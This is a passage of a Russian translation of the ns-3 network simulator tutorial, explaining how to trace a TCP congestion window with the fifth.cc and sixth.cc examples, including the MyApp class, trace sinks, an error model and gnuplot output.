src/internet/model/tcp-socket-base.cc, а варианты управления заторами находятся в таких файлах, как src/internet/model/tcp-bic.cc. Если вы не знаете об этом априори, вы можете использовать рекурсивный трюк с grep:
```
$ find . -name '*.cc' | xargs grep -i tcp
```
За страницей с экземплярами TCP, вы найдете страницу указывающую на этот файл. Обратившись к документации класса TcpSocketBase и пролистав до списка TraceSources, вы найдете
**TraceSources**
• **CongestionWindow**: окно заторов TCP-соединения
Сигнатура обратного вызова: ns3::TracedValueCallback::Uint32
Нажав на ссылку typedef обратного вызова, мы увидим сигнатуру, с которой вы уже знакомы:
```
typedef void(* ns3::TracedValueCallback::Int32)(int32_t oldValue, int32_t newValue)
```
Теперь вы должны полностью понять этот код. Если у нас есть указатель на объект TcpSocketBase, и мы предоставим соответствующую функцию обратного вызова, то к источнику трассировки «CongestionWindow» можно применить TraceConnect. Это тот же источник трассировки, который мы видели в простом примере в начале этого раздела, за исключением того, что мы говорим о uint32\_t вместо int32\_t. И мы знаем, что должны предоставить функцию обратного вызова с такой сигнатурой.
### 7.3.2 Поиск примеров
При написании кода всегда плохо начинать с нуля, лучше попытаться найти рабочий код, который вы сможете затем модифицировать. Так, первым делом нужно найти некий код, который уже перехватывает источник трассировки «CongestionWindow» и посмотреть как мы можем изменить его. Как обычно, grep ваш друг:
```
$ find . -name '*.cc' | xargs grep CongestionWindow
```
Это укажет на пару многообещающих кандидатов:
examples/tcp/tcp-large-transfer.cc
и
src/test/ns3tcp/ns3tcp-cwnd-test-suite.cc.
Мы еще ни разу не заглядывали в тестовый код, поэтому давайте посмотрим на него. Обычно вы обнаружите, что тестовый код достаточно минималистичен, так что, вероятно, это хорошая мысль начать с него. Откройте файл src/test/ns3tcp/ns3tcp-cwnd-test-suite.cc в вашем любимом редакторе и поищите «CongestionWindow». Вы найдете,
```
ns3TcpSocket->TraceConnectWithoutContext ("CongestionWindow",
MakeCallback (&Ns3TcpCwndTestCase1::CwndChange, this));
```
Это должно выглядеть для вас очень знакомо. Мы упоминали выше, что если бы у нас был указатель на TcpSocketBase, мы могли бы к источнику трассировки «CongestionWindow» применить TraceConnect. Это именно то, что мы видим здесь. Получается, что эта строка кода делает именно то, что нам нужно. Давайте продолжим и извлечем из этой функции (Ns3TcpCwndTestCase1::DoRun (void)) нужный нам код. Если вы посмотрите на эту функцию, то обнаружите, что она выглядит так же, как скрипт ns-3. Оказывается, что так оно есть. Это скрипт, запускаемый тестовой средой, поэтому мы можем просто вытащить его и обернуть в main, вместо DoRun. Чтобы не проходить через это шаг за шагом, мы предоставили файл examples/tutorial/fivth.cc с результатами переноса этого теста обратно в родной скрипт ns-3.
### 7.3.3 Источники динамической трассировки
Пример fifth.cc демонстрирует чрезвычайно важное правило, которое вы должны понять перед использованием любого вида источника трассировки: прежде чем пытаться использовать команду Config::Connect вы должны убедиться, что для неё существует цель. Это тоже самое, что сказать, что объект должен быть создан перед попыткой обращения к нему. Хотя это может показаться на словах очевидным, но сбивает с толку многих людей, пытающихся использовать систему впервые.
Давайте на мгновение вернемся к основам. В любом сценарии ns-3 есть три основных фазы выполнения. Первая фаза иногда называется «Время конфигурации» (“Configuration Time”) или «Время настройки» (“Setup Time”) и длится в течение периода, пока главная функция вашего скрипта работает до вызова Simulator::Run. Вторая фаза иногда называется «Время моделирования» (“Simulation Time”) и существует в период времени, когда Simulator::Run активно выполняет свои события. После завершения выполнения симуляции, Simulator::Run вернет управление обратно в главную функцию. Когда это происходит, сценарий входит в так называемую «Фазу демонтажа» (“Teardown Phase”), когда структуры и объекты созданные во время фазы настройки разбираются и освобождаются.
Возможно, самая распространенная ошибка, допускаемая при попытке использовать систему трассировки, таится в предположении, что сущности, создаваемые динамически во время моделирования, доступны в фазе конфигурации. В частности, Socket ns-3 является динамическим объектом, часто создаваемым приложениями для связи между узлами (Nodes). Приложение ns-3 всегда имеет «Время начала» (“Start Time”) и «Время завершения» (“Stop Time”), связанные с ним. В подавляющем большинстве случаев приложение не будет пытаться создавать динамический объект, пока не будет вызван его метод StartApplication в некоторое «время начала». Это должно гарантировать, что симуляция полностью настроена до того, как приложение попытается что-либо сделать (что произошло бы, если оно во время фазы настройки попытается подключиться к узлу, который еще не существует?). В результате, в фазе настройки вы не сможете подключить приемник к источнику трассировки, если один из них создается динамически в фазе моделирования.
Существуют два решения этого ребуса:
1. Создать событие симулятора, которое запускается после создания динамического объекта, и запустить трассировку, по этому событию;
2. Создать динамический объект во время конфигурации, затем подключить его и передать системе для использования во время симуляции.
В примере fifth.cc мы использовали второй подход. Это решение потребовало от нас создания MyApp Application, целью которого является использование Socket в качестве параметра.
### 7.3.4 Разбор fifth.cc
Теперь давайте взглянем на пример программы, которую мы создали, проанализировав тест окна заторов. Открываем examples/tutorial/fif.cc в вашем любимом редакторе. Вы должны увидеть знакомый код:
```
/* -*- Mode:C++; c-file-style:"gnu"; indent-tabs-mode:nil; -*- */
/*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation;
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Include., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#include
#include "ns3/core-module.h"
#include "ns3/network-module.h"
#include "ns3/internet-module.h"
#include "ns3/point-to-point-module.h"
#include "ns3/applications-module.h"
using namespace ns3;
NS\_LOG\_COMPONENT\_DEFINE ("FifthScriptExample");
```
Эти строки были описаны ранее, поэтому мы не будем повторяться. Следующие строки исходника — схема сети и комментарий к решению описанной выше проблемы с помощью сокета.
```
// ================================================================
//
// node 0 node 1
// +----------------+ +----------------+
// | ns-3 TCP | | ns-3 TCP |
// +----------------+ +----------------+
// | 10.1.1.1 | | 10.1.1.2 |
// +----------------+ +----------------+
// | point-to-point | | point-to-point |
// +----------------+ +----------------+
// | |
// +---------------------+
// 5 Mbps, 2 ms
//
//
// We want to look at changes in the ns-3 TCP congestion window. We need
// to crank up a flow and hook the CongestionWindow attribute on the socket
// of the sender. Normally one would use an on-off application to generate a
// flow, but this has a couple of problems. First, the socket of the on-off
// application is not created until Application Start time, so we wouldn't be
// able to hook the socket (now) at configuration time. Second, even if we
// could arrange a call after start time, the socket is not public so we
// couldn't get at it.
//
// So, we can cook up a simple version of the on-off application that does what
// we want. On the plus side we don't need all of the complexity of the on-off
// application. On the minus side, we don't have a helper, so we have to get
// a little more involved in the details, but this is trivial.
//
// So first, we create a socket and do the trace connect on it; then we pass
// this socket into the constructor of our simple application which we then
// install in the source node.
// ================================================================
//
```
Перевод комментария:
>
> > Мы хотим посмотреть на изменения в окне заторов TCP ns-3. Нам нужно запустить поток и подключиться к атрибуту CongestionWindow сокета отправителя. Обычно, для генерации потока отправитель использует on-off приложение, но это имеет несколько проблем. Во-первых, сокет on-off приложения создается только после старта приложения, поэтому у нас не будет возможности подключить сокет (сейчас) во время фазы настройки. Во-вторых, даже если мы сможем организовать вызов после момента старта, сокет не является открытым членом класса, поэтому мы не сможем получить доступ к нему.
> >
> > Таким образом, мы можем создать простую версию приложения, которое делает то, что на нужно. С положительной стороны нам не нужна вся сложность on-off приложения. С другой стороны, у нас нет помощника, поэтому мы должны быть немного больше вовлечены в детали, но это тривиально.
> >
> > Итак, сначала мы создаем сокет и подключаем к нему трассировку, затем мы передаем этот сокет в конструктор нашего простого приложения, которое мы установим на узле источнике.
> >
> >
>
>
>
>
>
>
Это также должно быть самоочевидно.
Следующая часть — это объявление приложения MyApp, которое мы соорудили для создания сокета во время фазы настройки.
```
class MyApp : public Application
{
public:
MyApp ();
virtual ~MyApp();
void Setup (Ptr socket, Address address, uint32\_t packetSize,
uint32\_t nPackets, DataRate dataRate);
private:
virtual void StartApplication (void);
virtual void StopApplication (void);
void ScheduleTx (void);
void SendPacket (void);
Ptr m\_socket;
Address m\_peer;
uint32\_t m\_packetSize;
uint32\_t m\_nPackets;
DataRate m\_dataRate;
EventId m\_sendEvent;
bool m\_running;
uint32\_t m\_packetsSent;
};
```
Вы можете видеть, что этот класс наследуется от класса Application ns-3. Если вам интересно, что унаследовано — взгляните на
src/network/model/application.h.
Класс MyApp обязан переопределить методы StartApplication и StopApplication. Эти методы вызываются автоматически, когда MyApp требуется начать или остановить отправку данных во время моделирования.
### Запуск/останов приложений
Стоит потратить немного времени на объяснение того, как на самом деле инициируются события в системе. Это еще одно довольно глубокое объяснение, и его можно проигнорировать, если вы не планируете углубляться в суть системы. Это, тем не менее полезно. В обсуждении затрагивается вопрос о том, как работают некоторые очень важные части ns-3 и раскрываются некоторые важные идиомы. Если вы планируете реализацию новых моделей, то, вероятно, захотите вникнуть в этот раздел.
Самый распространенный способ начать прокручивание событий — запустить приложение. Это происходит в результате следующих (надеюсь) знакомых строк скрипта ns-3:
```
ApplicationContainer apps = ...
apps.Start (Seconds (1.0));
apps.Stop (Seconds (10.0));
```
Код контейнера приложения (см. src/network/helper/application-container.h, если вам интересно) перебирает содержащиеся в нем приложения и в результате вызова apps.Start вызывает:
```
app->SetStartTime (startTime);
```
и в результате вызова apps.Stop:
```
app->SetStopTime (stopTime);
```
Конечным результатом этих вызовов является то, чего мы и хотим — симулятор автоматически выполняет вызовы наших приложений (Application), чтобы сказать им, когда запускаться или останавливаться. В случае MyApp, он наследуется от класса Application и переопределяет StartApplication и StopApplication. Это функции, которые будут вызываться симулятором в нужный момент. В MyApp вы обнаружите, что MyApp::StartApplication делает начальный Bind и Connect сокета, а затем запускает поток данных, вызывая MyApp::SendPacket. Генерацию пакетов останавливает MyApp::StopApplication, отменяя все ожидающие события отправки, а затем закрывает сокет.
Одна из приятных особенностей ns-3 состоит в том, что вы можете полностью игнорировать детали реализации того, как ваше приложение «автоволшебно» вызывается симулятором в правильное время. Но так как мы уже отважились углубиться в ns-3, то давайте приступим.
Если вы посмотрите на src/network/model/application.cc, то обнаружите, что метод SetStartTime приложения просто устанавливает переменную-член m\_startTime, а метод SetStopTime банально устанавливает m\_stopTime. Здесь, без каких-либо намеков, след оборвется.
Ключом для выбора нового направления поиска является знание того, что в системе есть глобальный список всех узлов. Когда бы вы не создали в симуляции узел, указатель на этот узел добавляется в глобальный список узлов.
Взгляните на src/network/model/node-list.cc и найдите NodeList::Add. Открытая (public) статическая реализация вызывает закрытую (private) реализацию с именем NodeListPriv::Add. Это относительно распространенная в ns-3 идиома. Итак, взгляните на NodeListPriv::Add. Там вы найдете,
```
Simulator::ScheduleWithContext (index, TimeStep (0), &Node::Initialize, node);
```
Это говорит о том, что всякий раз, когда в симуляции создается узел (Node), имеется побочный эффект, состоящий в том, что на нулевой момент времени будет запланирован вызов метода Initialize этого узла. При этом действия метода Initialize не совсем соответствуют его названию. Он не запускает какие либо действия узла, а всего лишь информирует его о начале симуляции.
Итак, NodeList::Add косвенно планирует вызов Node::Initialize в нулевое время, чтобы сообщить новому узлу, что симуляция началась. Если вы посмотрите в src/network/model/node.h, вы не найдете метод с называнием Node::Initialize. Оказывается, метод Initialize унаследован от класса Object. Все объекты в системе могут быть уведомлены о начале симуляции, а объекты класса Node являются лишь одним из типов таких объектов.
Далее посмотрите на src/core/model/object.cc и найдите Object::Initialize. Этот код не так прост, как вы могли ожидать, поскольку объекты ns-3 поддерживают агрегацию. Код в Object::Initialize последовательно проходит по всем объектам, которые были агрегированы вместе, и вызывает их метод DoInitialize. Это еще одна идиома, которая очень распространена в ns-3, иногда ее называют «паттерн шаблонного проектирования»: открытый не виртуальный метод API, который остается постоянным в разных реализациях и вызывает закрытый виртуальный метод реализации, который наследуется и реализуется подклассами. Имена, как правило, что-то вроде MethodName для открытого API и DoMethodName для закрытого API.
Это говорит нам о том, для продолжения поиска мы должны заглянуть в src/network/model/node.cc, чтобы обнаружить метод Node::DoInitialize. Если вы найдете код, то увидите что метод, перебирает все устройства в узле, а затем все приложения в узле, вызывая device->Initialize и application->Initialize соответственно.
Возможно, вы уже знаете, что классы Device и Application наследуются от класса Object, поэтому следующим шагом будет изучить, что происходит, когда вызывается Application::DoInitialize. Взгляните на src/network/model/application.cc и вы найдете:
```
void
Application::DoInitialize (void)
{
m_startEvent = Simulator::Schedule (m_startTime, &Application::StartApplication, this);
if (m_stopTime != TimeStep (0))
{
m_stopEvent = Simulator::Schedule (m_stopTime, &Application::StopApplication, this);
}
Object::DoInitialize ();
}
```
Здесь мы наконец дошли до конца следа. Если при реализации ns-3 приложения, вы в точности используете этот код, то ваше новое приложение будет наследником класса Application. Переопределяя методы StartApplication и StopApplication, вы обеспечиваете механизмы запуска и остановки потока данных, исходящего из вашего нового приложения. Когда в симуляции создается узел (Node), он добавляется в глобальный список узлов. Акт добавления узла в NodeList заставляет симулятор запланировать на нулевое время событие, которое при запуске симуляции вызывает метод Node::Initialize «свежедобавленного» узла. Так как Node наследуется от Object, то для него вызывается метод Object::Initialize, который, в свою очередь, вызывает методы DoInitialize на всех объектах, агрегированных в узле (вспомните модель мобильности). Поскольку объект Node имеет переопределенный DoInitialize, он и вызывается при запуске симуляции. Метод Node::DoInitialize вызывает методы Initialize всех приложений на узле. Поскольку приложения также являются объектами Object, то вызываются Application::DoInitialize. Когда вызывается Application::DoInitialize, он планирует события для вызовов методов StartApplication и StopApplication приложения. Эти вызовы предназначены для запуска и остановки потока данных из приложения.
Это был еще один довольно долгий путь, но его нужно пройти только один раз, зато теперь вы понимаете еще один очень глубокий кусок ns-3.
### Приложение MyApp
Приложению MyApp, конечно же, необходимы конструктор и деструктор:
```
MyApp::MyApp ()
: m_socket (0),
m_peer (),
m_packetSize (0),
m_nPackets (0),
m_dataRate (0),
m_sendEvent (),
m_running (false),
m_packetsSent (0)
{
}
MyApp::~MyApp()
{
m_socket = 0;
}
```
Наличие следующего фрагмента кода — это единственная причина, по которой мы изначально написали это приложение.
```
void
MyApp::Setup (Ptr socket, Address address, uint32\_t packetSize,
uint32\_t nPackets, DataRate dataRate)
{
m\_socket = socket;
m\_peer = address;
m\_packetSize = packetSize;
m\_nPackets = nPackets;
m\_dataRate = dataRate;
}
```
Этот код должен быть довольно понятным. Мы просто инициализируем переменные-члены. Важный для перспективы трассировки элемент, который нам нужно было предоставить приложению во время время настройки — это сокет Ptr. Напомним, что мы собираемся создать Socket как TcpSocket (который реализуется TcpSocketBase) и подключить его источник трассировки «CongestionWindow», перед передачей его в метод Setup.
```
void
MyApp::StartApplication (void)
{
m_running = true;
m_packetsSent = 0;
m_socket->Bind ();
m_socket->Connect (m_peer);
SendPacket ();
}
```
Приведенный выше код представляет собой переопределенную реализацию Application::StartApplication, которая будет автоматически вызывается симулятором, чтобы запустить наше приложение в нужное время. Вы можете видеть, что он делает операцию привязки сокета (Socket Bind). Если вы знакомы с сокетами Беркли, это не должно быть сюрпризом. Это, как вы могли ожидать, требует выполнения на локальной стороне соединения. Последующий Connect сделает все необходимое для установления TCP соединения с адресом m\_peer. Теперь должно быть понятно, почему мы отложили привязку до фазы моделирования, так как для завершения действий Connect требуется полностью функционирующая сеть. После установления подключения приложение начинает создавать события моделирования, вызывая SendPacket.
Следующий фрагмент кода объясняет приложению, как останавливать создание событий симуляции.
```
void
MyApp::StopApplication (void)
{
m_running = false;
if (m_sendEvent.IsRunning ())
{
Simulator::Cancel (m_sendEvent);
}
if (m_socket)
{
m_socket->Close ();
}
}
```
Каждый раз, когда запланировано событие симуляции, создается Event. Если Event ожидает выполнения или выполняется, его метод IsRunning вернет true. В этом коде, если IsRunning() возвращает true, мы вызываем метод Cancel, который удаляет событие из очереди событий симулятора. Делая это, мы разрываем цепь событий, которая поддерживает приложение в состоянии постоянной отправки своих пакетов, и приложение умолкает. После того как мы угомонили приложение, мы закрываем сокет, который разрывает TCP-соединение.
Сокет фактически удаляется в деструкторе при выполнении
```
m_socket = 0
```
. Это удаляет последнюю ссылку на указатель Ptr , который вызывает деструктор этого объекта.
Напомним, что StartApplication вызывал SendPacket для запуска цепочки событий, которая описывает поведение приложения.
```
void
MyApp::SendPacket (void)
{
Ptr packet = Create (m\_packetSize);
m\_socket->Send (packet);
if (++m\_packetsSent < m\_nPackets)
{
ScheduleTx ();
}
}
```
Здесь вы видите, что SendPacket делает именно это. Он создает пакет, а затем выполняет отправку, которая, если вы знаете, сокеты Беркли, выглядит именно так, как вы ожидали.
Приложение ответственно за планирование цепочки событий, поэтому в следующих строках он вызывает ScheduleTx, чтобы запланировать новое событие передачи (SendPacket) пока приложение не решит, прекратить оправку.
```
void
MyApp::ScheduleTx (void)
{
if (m_running)
{
Time tNext (Seconds (m_packetSize * 8 / static_cast (m\_dataRate.GetBitRate ())));
m\_sendEvent = Simulator::Schedule (tNext, &MyApp::SendPacket, this);
}
}
```
Здесь вы видите, как ScheduleTx это делает. Если приложение работает (если StopApplication не вызывался) будет запланировано новое событие, которое снова вызовет SendPacket. Внимательный читатель заметит, что это может сбить с толку новых пользователей. Дело в скорости передачи данных приложения. Это не имеет никакого отношения к скорости передачи данных в канале передачи (Channel). Это скорость, с которой приложение создает биты. Она не учитывает какие-либо издержки для различных протоколов или каналов, которые используются для передачи данных. Если вы установите скорость передачи данных приложения (Application) такую же, что и у Channel, вы в конечном итоге получите переполнение буфера.
### Приемник трассировки
Весь смысл этого упражнения — получить обратные вызовы трассировки из TCP, указывающие, что окно заторов было обновлено. Следующий фрагмент кода реализует соответствующий приемник трассировки:
```
static void
CwndChange (uint32_t oldCwnd, uint32_t newCwnd)
{
NS_LOG_UNCOND (Simulator::Now ().GetSeconds () << "\t" << newCwnd);
}
```
Это должно быть очень знакомо вам, поэтому мы не будем останавливаться на деталях. Эта функция только регистрирует текущее время симуляции и новое значение окна заторов каждый раз, когда оно изменяется. Вы, вероятно, можете себе представить, что могли бы загрузить полученный вывод в графическую программу (gnuplot или Excel) и сразу же увидеть симпатичный график поведения окна заторов в зависимости от времени.
Мы добавили новый приемник трассировки, чтобы показать, когда отбрасываются пакеты. Мы собираемся также добавить в этот код модель ошибок, поэтому мы хотим показать как это работает.
```
static void
RxDrop (Ptr p)
{
NS\_LOG\_UNCOND ("RxDrop at " << Simulator::Now ().GetSeconds ());
}
```
Этот приемник трассировки будет подключен к источнику трассировки PhyRxDrop устройства точка-точка NetDevice. Источник трассировки срабатывает, когда физический уровень устройства NetDevice отбрасывает пакет. Если вы сделаете небольшой крюк и обратитесь к источнику (src/point-to-point/model/point-to-point-net-device.cc) то увидите, что источник трассировки ссылается на PointToPointNetDevice::m\_phyRxDropTrace. Если вы посмотрите в src/point-to-point/model/point-to-point-net-device.h, то обнаружите, что эта переменная-член объявлена как TracedCallback >. Это подскажет вам, что целью обратного вызова должна быть функция, которая возвращает void и принимает единственный параметр, которым является Ptr (при условии, что мы используем ConnectWithoutContext) — именно то, что мы имеем выше.
### Основная программа
Следующий код должен быть вам уже знаком:
```
int
main (int argc, char *argv[])
{
NodeContainer nodes;
nodes.Create (2);
PointToPointHelper pointToPoint;
pointToPoint.SetDeviceAttribute ("DataRate", StringValue ("5Mbps"));
pointToPoint.SetChannelAttribute ("Delay", StringValue ("2ms"));
NetDeviceContainer devices;
devices = pointToPoint.Install (nodes);
```
Он создает два узла с двухточечным каналом между ними, как показано на рисунке в начале файла. Следующие несколько строк кода показывают что-то новое. Если мы проследим соединение, которое ведет себя безупречно, то мы получим монотонно увеличивающееся окно заторов. Чтобы увидеть какое-нибудь интересное поведение, мы должны реально внести ошибки соединения, которые приведут к потере пакетов, вызовет дублирование ACK и создаст более интересные варианты поведения окна заторов. Ns-3 предоставляет объекты ErrorModel, которые могут быть присоединены к каналам. Мы используем RateErrorModel, что позволяет нам внести в канал ошибки с заданной интенсивностью.
```
Ptr em = CreateObject ();
em->SetAttribute ("ErrorRate", DoubleValue (0.00001));
devices.Get (1)->SetAttribute ("ReceiveErrorModel", PointerValue (em));
```
Приведенный выше код создает экземпляр объекта RateErrorModel, и мы устанавливаем для атрибута «ErrorRate» желаемую величину. Затем мы устанавливаем полученный экземпляр RateErrorModel в качестве модели ошибок, используемой устройством точка-точка NetDevice. Это даст нам несколько повторных передач и сделает наш сюжет немного более интересным.
```
InternetStackHelper stack;
stack.Install (nodes);
Ipv4AddressHelper address;
address.SetBase ("10.1.1.0", "255.255.255.252");
Ipv4InterfaceContainer interfaces = address.Assign (devices);
```
Код выше должен быть знакомым. Он устанавливает интернет-стеки на наших двух узлах, создает интерфейсы и назначает IP‑адреса для устройств точка-точка.
Поскольку мы используем TCP, нам нужно что-то на узле назначения для TCP-соединений и получения данных. Для этой цели в ns-3 обычно используется приложение PacketSink.
```
uint16_t sinkPort = 8080;
Address sinkAddress (InetSocketAddress(interfaces.GetAddress (1), sinkPort));
PacketSinkHelper packetSinkHelper ("ns3::TcpSocketFactory",
InetSocketAddress (Ipv4Address::GetAny (), sinkPort));
ApplicationContainer sinkApps = packetSinkHelper.Install (nodes.Get (1));
sinkApps.Start (Seconds (0.));
sinkApps.Stop (Seconds (20.));
```
Это все должно быть знакомо, за исключением,
```
PacketSinkHelper packetSinkHelper ("ns3::TcpSocketFactory",
InetSocketAddress (Ipv4Address::GetAny (), sinkPort));
```
Этот код создает экземпляр PacketSinkHelper и говорит ему создавать сокеты, используя класс ns3::TcpSocketFactory. Этот класс реализует шаблон проектирования под названием «фабрика объектов», который является широко используемый механизмом определения класса, используемого для абстрактного создания объектов. Здесь вместо того, чтобы создавая сами объекты, вы предоставляете PacketSinkHelper строку, которая задает TypeId, используемый при создании объекта, который затем может быть использован, в свою очередь, для создания экземпляров объектов, созданных фабрикой.
Оставшийся параметр сообщает приложению, к каким адресу и порту оно должно привязаться.
Следующие две строки кода создадут сокет и подключат источник трассировки.
```
Ptr ns3TcpSocket = Socket::CreateSocket (nodes.Get (0),
TcpSocketFactory::GetTypeId ());
ns3TcpSocket->TraceConnectWithoutContext ("CongestionWindow",
MakeCallback (&CwndChange));
```
Первый оператор вызывает статическую функцию-член Socket::CreateSocket и предоставляет Node и явный TypeId для фабрики объектов, используемой для создания сокета. Это вызов более низкого уровня, чем вызов PacketSinkHelper выше и использует явный тип C++ вместо того, на который ссылается строка. В остальном это концептуально то же самое.
Как только TcpSocket создан и присоединен к узлу, мы можем использовать TraceConnectWithoutContext для подключения источника трассировки CongestionWindow к нашему приемнику трассировки.
Напомним, что мы написали приложение, чтобы иметь возможность создать сокет (в фазе настройки) и использовать его во время симуляции. Теперь нам нужно создать экземпляр этого приложения. Мы не озаботились созданием помощника для управления приложением, поэтому нам придется создавать и настраивать его «вручную». Это на самом деле довольно легко:
```
Ptr app = CreateObject ();
app->Setup (ns3TcpSocket, sinkAddress, 1040, 1000, DataRate ("1Mbps"));
nodes.Get (0)->AddApplication (app);
app->Start (Seconds (1.));
app->Stop (Seconds (20.));
```
Первая строка создает объект типа MyApp — наше приложение. Вторая строка сообщает приложению какой сокет использовать, к какому адресу подключаться, сколько данных отправлять по каждому событию отправки, сколько сгенерировать событий отправки и битрейт, с которым выдавать данные по этим событиям.
Затем мы вручную добавляем приложение MyApp в исходный узел и явно вызываем Start и Stop методы приложения, чтобы сказать ему, когда начинать и прекращать делать свою работу.
Нам нужно на самом деле подключить наш обратный вызов RxDrop к событию потери данных устройством-получателем точка-точка NetDevice.
```
devices.Get (1)->TraceConnectWithoutContext("PhyRxDrop", MakeCallback (&RxDrop));
```
Теперь должно быть очевидно, что мы получаем ссылку на принимающий узел NetDevice из его контейнера чтобы подключить источник трассировки, определенный на этом устройстве атрибутом «PhyRxDrop», к приемнику трассировки RxDrop. Наконец, мы говорим симулятору независимо от приложений просто прекратить обработку событий после 20 секунд моделирования.
```
Simulator::Stop (Seconds(20));
Simulator::Run ();
Simulator::Destroy ();
return 0;
}
```
Напомним, что как только вызывается Simulator::Run, фаза конфигурации заканчивается и начинается фаза моделирования. Вся работа, которую мы организовали, создав приложение и научив его подключаться и отправлять данные, на самом деле происходит во время вызова этой функции. Как только Simulator::Run вернет управление, симуляция завершится и мы вступаем в фазу демонтажа. В этом случае, Simulator::Destroy позаботится о мрачных деталях, и мы просто возвращаем код успеха после его завершения.
### 7.3.5 Запуск fith.cc
Так как мы предоставили вам файл fith.cc, то после сборки дистрибутива в отладочном режиме (поскольку он использует NS\_LOG, в отличие от оптимизированной сборки, которая убирает NS\_LOG), то скомпилированный пример будет будет ждать когда вы его запустите.
```
$ ./waf --run fifth
Waf: Entering directory `/home/craigdo/repos/ns-3-allinone-dev/ns-3-dev/build'
Waf: Leaving directory `/home/craigdo/repos/ns-3-allinone-dev/ns-3-dev/build'
'build' finished successfully (0.684s)
1 536
1.0093 1072
1.01528 1608
1.02167 2144
...
1.11319 8040
1.12151 8576
1.12983 9112
RxDrop at 1.13696
...
```
Возможно, вы сразу увидите обратную сторону использования печати любого рода в ваших трассировках. Мы получаем эти посторонние сообщения Waf напечатанные вперемешку с интересующей нас информацией — сообщениями RxDrop. Мы исправим это в ближайшее время, но я уверен, что вам не терпится увидеть результаты всей этой работы. Давайте перенаправим этот вывод в файл с именем cwnd.dat:
```
$ ./waf --run fifth > cwnd.dat 2>&1
```
Теперь отредактируйте «cwnd.dat» в вашем любимом редакторе и удалите статус сборки waf и пропустите строки, оставляя только данные трассировки (вы также можете закомментировать TraceConnectWithoutContext ("PhyRxDrop", MakeCallback (& RxDrop)); в сценарии так же легко избавиться от печати. Теперь вы можете запустить gnuplot (если он у вас установлен) и попросить его сгенерировать несколько красивых картинок:
```
$ gnuplot
gnuplot> set terminal png size 640,480
gnuplot> set output "cwnd.png"
gnuplot> plot "cwnd.dat" using 1:2 title 'Congestion Window' with linespoints
gnuplot> exit
```
Теперь у вас должен получиться график зависимости окна заторов от времени, который содержится в файле «cwnd.png», он выглядит следующим образом:
### 7.3.6 Использование помощников среднего уровня
В предыдущем разделе мы показали, как подключить источник трассировки и, как мы надеемся, получить из симуляции интересную информацию. Возможно, вы помните, что намного раньше в этой главе мы назвали запись в стандартный вывод с помощью std::cout «тупым» инструментом. Мы также писали о том, что возникла проблема с анализом вывода журнала, состоящая в том, как выделить интересующую информацию. Если вам пришло в голову, что мы просто потратили много времени на реализацию примера, показывающего все проблемы, которые мы намереваемся исправить с помощью системы трассировки ns-3! Вы будете наверное правы. Но, потерпите нас. Мы еще не закончили.
Одна из самых важных вещей, которой мы хотим добиться — это иметь возможность легко управлять количеством выводимой симуляцией информации, и мы также хотим сохранять эти данные в файл, чтобы можно было вернуться к нему позже. Чтобы сделать это и завершить картину, мы можем воспользоваться предоставляемые в ns-3 помощниками трассировки среднего уровня.
В примере fifth.cc мы предоставляем скрипт, который записывает изменения cwnd, и события потери пакетов, на диск в отдельные файлы. Изменения cwnd хранятся в виде файла ASCII, разделенного табуляцией, а события потери пакетов сохраняются в PCAP‑файл. Изменения, для того чтобы это заработало, довольно малы.
#### Разбор sixth.cc
Давайте посмотрим на изменения, необходимые для перехода от fifth.cc к sixth.cc. Откройте examples/tutorial/sixth.cc в вашем любимом редакторе. Вы можете увидеть первое изменение, выполнив поиск CwndChange. Вы обнаружите, что мы изменили сигнатуры для приемников трассировки и добавили в каждый приемник одну строку, которая записывает отслеживаемую информация в поток, представляющий файл.
```
static void
CwndChange (Ptr stream, uint32\_t oldCwnd, uint32\_t newCwnd)
{
NS\_LOG\_UNCOND (Simulator::Now ().GetSeconds () << "\t" << newCwnd);
\*stream->GetStream () << Simulator::Now ().GetSeconds () << "\t" << oldCwnd << "\t" << newCwnd << std::endl;
}
static void
RxDrop (Ptr file, Ptr p)
{
NS\_LOG\_UNCOND ("RxDrop at " << Simulator::Now ().GetSeconds ());
file->Write(Simulator::Now(), p);
}
```
Мы добавили в приемник трассировки CwndChange параметр stream. Это объект, который держит (поддерживает в живом состоянии) поток вывода C++. Оказывается, это очень простой объект, но он решает задачи жизненного цикла потока и проблему, с которой сталкиваются даже опытные пользователи C++. Оказывается, что копирующий конструктор для std::ostream объявлен как private. Это означает, что std::ostreams не подчиняется семантике значений и не может использоваться в любом механизме, который требует копирования потока. Это включает в себя систему обратного вызова ns-3, которая, как вы можете помнить, требует объектов, которые обладают семантикой значения. Далее обратите внимание, что мы добавили в реализацию приемника трассировки CwndChange следующую строку:
```
*stream->GetStream () << Simulator::Now ().GetSeconds () << "\t" << oldCwnd << "\t" << newCwnd << std::endl;
```
Это был бы очень знакомый код, если заменить
```
* stream-> GetStream ()
```
на
```
std :: cout
```
, как в:
```
std::cout << Simulator::Now ().GetSeconds () << "\t" << oldCwnd << "\t" << newCwnd << std::endl;
```
Это показывает, что Ptr действительно просто выдает std::ofstream для вас, и вы можете использовать его здесь, как любой другой выходной поток.
Аналогичная ситуация происходит в RxDrop за исключением того, что передаваемый объект (Ptr ) представляет файл PCAP. В приемнике трассировки есть одна строка для записи метки времени и содержимого пакета, сбрасываемого в файл PCAP:
```
file->Write(Simulator::Now(), p);
```
Конечно, если у нас есть объекты, представляющие два файла, нам нужно их где-то создать, а также передать их приемникам трассировки. Если вы заглянете в основную функцию, вы найдете новый код для этого:
```
AsciiTraceHelper asciiTraceHelper;
Ptr stream = asciiTraceHelper.CreateFileStream ("sixth.cwnd");
ns3TcpSocket->TraceConnectWithoutContext ("CongestionWindow", MakeBoundCallback (& CwndChange, stream));
...
PcapHelper pcapHelper;
Ptr file = pcapHelper.CreateFile ("sixth.pcap", std::ios::out, PcapHelper::DLT\_PPP);
devices.Get (1)->TraceConnectWithoutContext("PhyRxDrop",
MakeBoundCallback (&RxDrop, file));
```
